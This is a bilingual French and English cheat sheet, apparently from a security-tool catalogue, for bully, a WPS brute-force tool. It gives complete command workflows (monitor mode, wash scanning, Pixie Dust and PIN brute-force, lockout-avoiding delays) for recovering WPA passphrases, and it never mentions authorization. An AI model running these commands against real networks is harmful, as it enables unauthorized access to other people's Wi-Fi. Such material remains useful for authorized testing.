bully
Outil de brute-force WPS. Attaque le PIN Wi-Fi Protected Setup (WPS) pour récupérer les passphrases WPA/WPA2. Plus fiable que Reaver sur certains routeurs. WPS brute-force tool. Attacks Wi-Fi Protected Setup (WPS) PIN to recover WPA/WPA2 passphrases. More reliable than Reaver on certain routers.
↗ https://github.com/nicowillis/bullyOverview
bully is a WPS brute-force tool that implements the Pixie Dust attack and standard PIN brute-force against Wi-Fi Protected Setup (WPS). It’s often more reliable than Reaver against modern routers and has better handling of various WPS implementation quirks.
Requirements
# Put wireless card in monitor mode
airmon-ng check kill
airmon-ng start wlan0
# → interface becomes wlan0mon
Find WPS-enabled networks
wash -i wlan0mon
→ Look for networks with WPS=Yes and Lck=No (not locked)
Basic Usage
Pixie Dust attack (fastest - often completes in seconds)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -d
Standard WPS PIN brute-force
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID"
Specify channel
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -c 6
Start from a specific PIN
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -p 12345670
Pixie Dust Attack
The Pixie Dust attack exploits weak randomness in some WPS implementations It can crack the WPS PIN offline in seconds (compared to hours for brute-force)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d
# Combined with pixiewps tool for some routers:
# bully handles the WPS exchange and passes to pixiewps for offline cracking
Timing and Delays
Add delay between attempts (avoid WPS lockout)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -T 5
Timeout per attempt
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -t 30
Number of receive timeouts before giving up
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -r 10
Associate timeout
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -a 30
Scanning for WPS Targets
Scan with wash to find WPS-enabled APs
wash -i wlan0mon
# Output:
# BSSID Ch dBm WPS Lck ESSID
# AA:BB:CC:DD:EE:FF 6 -65 2.0 No HomeNetwork
# Lck=No means WPS is not locked — can attempt attack
# Lck=Yes means WPS has been locked (usually after many failed attempts)
Full Workflow
# Step 1: Enable monitor mode
airmon-ng check kill
airmon-ng start wlan0
Step 2: Find WPS-enabled targets
wash -i wlan0mon
Step 3: Try Pixie Dust attack first (fast)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6 -d
Step 4: If Pixie Dust fails, try PIN brute-force
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6
# Step 5: When WPS PIN is found, bully shows WPA passphrase
# [+] WPS pin: 12345670
# [+] WPA PSK: "YourWiFiPassword"
Tips
- Pixie Dust is much faster than full brute-force — always try it first
- WPS lockout (Lck=Yes) means the AP has temporarily or permanently disabled WPS after failed attempts
- Some APs use virtual re-registration lock and reset after a few minutes
- bully tends to work better than Reaver on Broadcom-based routers
Help / Man page
bully <interface> [options]
-b BSSID Target BSSID (required)
-e SSID Target SSID (required)
-c CHANNEL Channel (1-14)
-p PIN Starting PIN
-d Pixie Dust attack mode
-T TIMEOUT Seconds between attempts (default: 1.0)
-t TIMEOUT Association timeout
-a TIMEOUT Response timeout
-r N Max receive timeouts
-v N Verbosity (0-3)
-o FILE Output file (stores pin and passphrase)
Vue d’ensemble
bully est un outil de brute-force WPS qui implémente l’attaque Pixie Dust et le brute-force de PIN standard contre le Wi-Fi Protected Setup (WPS). Il est souvent plus fiable que Reaver contre les routeurs modernes et gère mieux les diverses particularités d’implémentation du WPS.
Prérequis
# Passer la carte sans fil en mode monitor
airmon-ng check kill
airmon-ng start wlan0
# → l'interface devient wlan0mon
# Trouver les réseaux avec WPS activé
wash -i wlan0mon
# → Cherchez les réseaux avec WPS=Yes et Lck=No (non verrouillé)
Utilisation de base
# Attaque Pixie Dust (la plus rapide, se termine souvent en quelques secondes)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -d
# Brute-force de PIN WPS standard
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID"
# Spécifier le canal
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -c 6
# Démarrer à un PIN précis
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -p 12345670
Attaque Pixie Dust
L’attaque Pixie Dust exploite la faiblesse de l’aléatoire dans certaines implémentations WPS. Elle peut cracker le PIN WPS hors ligne en quelques secondes (comparé à des heures pour le brute-force).
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d
# Combinée avec l'outil pixiewps pour certains routeurs :
# bully gère l'échange WPS et le passe à pixiewps pour le crack hors ligne
Timing et délais
# Ajouter un délai entre les tentatives (éviter le verrouillage WPS)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -T 5
# Timeout par tentative
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -t 30
# Nombre de timeouts de réception avant d'abandonner
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -r 10
# Timeout d'association
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -a 30
Scanner les cibles WPS
# Scanner avec wash pour trouver les AP avec WPS activé
wash -i wlan0mon
# Sortie :
# BSSID Ch dBm WPS Lck ESSID
# AA:BB:CC:DD:EE:FF 6 -65 2.0 No HomeNetwork
# Lck=No signifie que le WPS n'est pas verrouillé : l'attaque est possible
# Lck=Yes signifie que le WPS a été verrouillé (souvent après de nombreux échecs)
Workflow complet
# Étape 1 : activer le mode monitor
airmon-ng check kill
airmon-ng start wlan0
# Étape 2 : trouver les cibles avec WPS activé
wash -i wlan0mon
# Étape 3 : essayer d'abord l'attaque Pixie Dust (rapide)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6 -d
# Étape 4 : si Pixie Dust échoue, essayer le brute-force de PIN
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6
# Étape 5 : quand le PIN WPS est trouvé, bully affiche la passphrase WPA
# [+] WPS pin: 12345670
# [+] WPA PSK: "YourWiFiPassword"
Conseils
- Pixie Dust est bien plus rapide qu’un brute-force complet : essayez-le toujours en premier
- Le verrouillage WPS (Lck=Yes) signifie que l’AP a désactivé le WPS temporairement ou définitivement après des échecs
- Certains AP utilisent un verrou de ré-enregistrement virtuel et se réinitialisent après quelques minutes
- bully a tendance à mieux fonctionner que Reaver sur les routeurs à base de Broadcom
Aide / Page de manuel
bully <interface> [options]
-b BSSID Target BSSID (required)
-e SSID Target SSID (required)
-c CHANNEL Channel (1-14)
-p PIN Starting PIN
-d Pixie Dust attack mode
-T TIMEOUT Seconds between attempts (default: 1.0)
-t TIMEOUT Association timeout
-a TIMEOUT Response timeout
-r N Max receive timeouts
-v N Verbosity (0-3)
-o FILE Output file (stores pin and passphrase)